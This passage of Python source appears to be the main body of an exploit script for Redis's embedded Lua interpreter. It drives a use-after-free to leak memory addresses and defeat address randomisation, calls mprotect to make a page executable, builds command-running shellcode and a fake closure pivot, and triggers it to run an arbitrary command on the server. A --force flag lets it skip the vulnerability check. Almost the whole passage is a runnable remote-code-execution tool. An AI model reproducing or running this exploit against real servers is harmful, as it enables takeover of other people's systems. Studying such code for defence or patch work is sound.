    if not isinstance(result, bytes):
        log_failure("Unexpected check result")
        return False

    log_info(f"Received length: {len(result)}")
    if result == b"=(load)":
        log_failure("Failed to UAF chunkname")
        return False
    if result != b"":
        address = leaked_addr(result)
        if address is None:
            log_failure("Failed to leak full address")
            return False
        log_info(f"Address: 0x{address:016x}")
        if address % 0x80 != 0:
            log_failure("Not 0x80-aligned, probably not Proto")
            return False

        following_address = address - 0x100
        following_shifted = following_address & 0xFFFF_FFFF_FFFF_FCFF
        if following_shifted == address - 0x200:
            log_failure("Alignment will likely shift Proto* into parent and cause infinite recursion")
            return False
        if following_shifted == following_address:
            log_failure("Proto* will likely not shift")
            return False
        log_info("Pointer may shift into our crafted Proto")

    # Step 1: leak luaAlloc, then derive the Redis PIE base and target-specific gadgets
    luaAlloc_leak = perform_leak(client, options, p_frealloc - 0x18, 6, argv=["leak"])
    luaAlloc = optional_map(luaAlloc_leak, lambda leak: leaked_addr(leak))
    if luaAlloc is None:
        log_failure("Failed to leak luaAlloc")
        return False

    addrs = module.core_addrs(luaAlloc)
    if addrs is None:
        log_failure(f"luaAlloc LSBits not matching `{target.name}`: 0x{luaAlloc:016x}")
        return False

    log_info(f"Base: 0x{addrs.redis_base:016x}")
    log_info(f"luaAlloc: 0x{addrs.luaAlloc:016x}")
    log_info(f"mprotect: 0x{addrs.mprotect:016x}")

    client.script_flush("SYNC")

    # Step 2: find the shellcode TString so we can mprotect the right page
    log_info("Uploading script (dest)")
    result = client.eval(script, 0, "dest")
    if not isinstance(result, bytes):
        log_failure("Failed to parse shellcode table address")
        return False
    table_addr = parse_leaked_tostring_addr(result)
    if table_addr is None:
        log_failure("Failed to parse Table tostring address")
        return False

    log_info(f"Table: 0x{table_addr:x}")

    table_array_leak = perform_leak(client, options, (table_addr + 0x20) - 0x18, 6, argv=["leak"])
    table_array_addr = optional_map(table_array_leak, lambda leak: leaked_addr(leak))
    if table_array_addr is None or table_array_addr == 0:
        log_failure("Failed to leak Table::array address")
        return False
    log_info(f"Table array: 0x{table_array_addr:x}")

    table_item_tstring_leak = perform_leak(client, options, table_array_addr - 0x18, 6, argv=["leak"])
    table_item_tstring_addr = optional_map(table_item_tstring_leak, lambda leak: leaked_addr(leak))
    if table_item_tstring_addr is None or table_item_tstring_addr == 0:
        log_failure("Failed to leak shellcode TString")
        return False
    log_info(f"Shellcode TString: 0x{table_item_tstring_addr:x}")

    if table_item_tstring_addr % 0x1000 != 0:
        log_failure("Shellcode TString address is not 0x1000-aligned")
        return False
    if table_item_tstring_addr % 0x10000 == 0:
        log_failure(f"Shellcode TString address leak may have partially failed: 0x{table_item_tstring_addr:x}")
        return False

    shellcode_origin = table_item_tstring_addr + 0x18

    # Step 3: generate command shellcode at its final in-memory address
    shellcode_context = ShellcodeContext(
        origin=shellcode_origin,
        addrs=addrs,
        luastate=luastate,
        body_callback=lambda context: create_shellcode_body_command(context, command_bytes),
    )
    shellcode_tuple = create_shellcode(shellcode_context, module)
    if shellcode_tuple is None:
        log_failure("Failed to create shellcode")
        return False
    unpadded_shellcode, shellcode_entry_offset = shellcode_tuple

    shellcode_entry = shellcode_origin + shellcode_entry_offset
    log_info(f"Shellcode entry: 0x{shellcode_entry:x}")

    shellcode = unpadded_shellcode + (b"\x00" * (0xFE7 - len(unpadded_shellcode)))
    assert len(shellcode) == 0x1000 - 0x19
    options.shellcode = lua_encode(shellcode)

    # Step 4: replace the fake CClosure with the target-specific pivot payload
    state = ExploitState(
        target=target,
        addrs=addrs,
        megabin_address=megabin_address,
        shellcode_entry=shellcode_entry,
        shellcode_page=table_item_tstring_addr,
    )

    cclosure_bytes, jopdata = module.build_pivot_payload(state)

    megabin = b""
    megabin += opcodes_call_upvalue_0_and_return.to_bytes_le()
    megabin += opcodes_return_upvalue_4.to_bytes_le()
    megabin += b"\x00" * 4
    megabin += u64_le(megabin_address + 0x40)
    megabin += tvalue_bytes
    megabin += cclosure_bytes
    assert len(megabin) == (0x78 - 0x18)

    megabin += jopdata
    remaining = (0x1FF - 0x78) - len(jopdata)
    assert remaining >= 0
    megabin += b"\x00" * remaining
    assert len(megabin) == 0x1E7

    options.megabin = lua_encode(megabin)
    options.opcodes = (opcodes_2_address, len(opcodes_return_upvalue_4))
    script = create_script(options)

    # Step 5: trigger the corrupted upvalue path and jump into shellcode
    client.script_flush("SYNC")

    log_info("Uploading script (upval)")
    result = client.eval(script, 0, "upval")
    if result != 1:
        log_failure(f"Unexpected final output: {result}")
        return False

    log_success("Exploit completed")
    return True

def run_exploit():
    """
    Where most of the magic happens
    """
    if args.command is None:
        return
    if not exploit_command(args.command):
        log_failure("Exploit failed")
    return

# Entrypoint, this gets executed first
def main():
    global args
    args = parse_args()

    if not args.force:
        if not check_vulnerable():
            log_failure(f"Host seems to not be vulnerable, use --force to override")
            exit(0)

    run_exploit()

if __name__ == "__main__":
    main()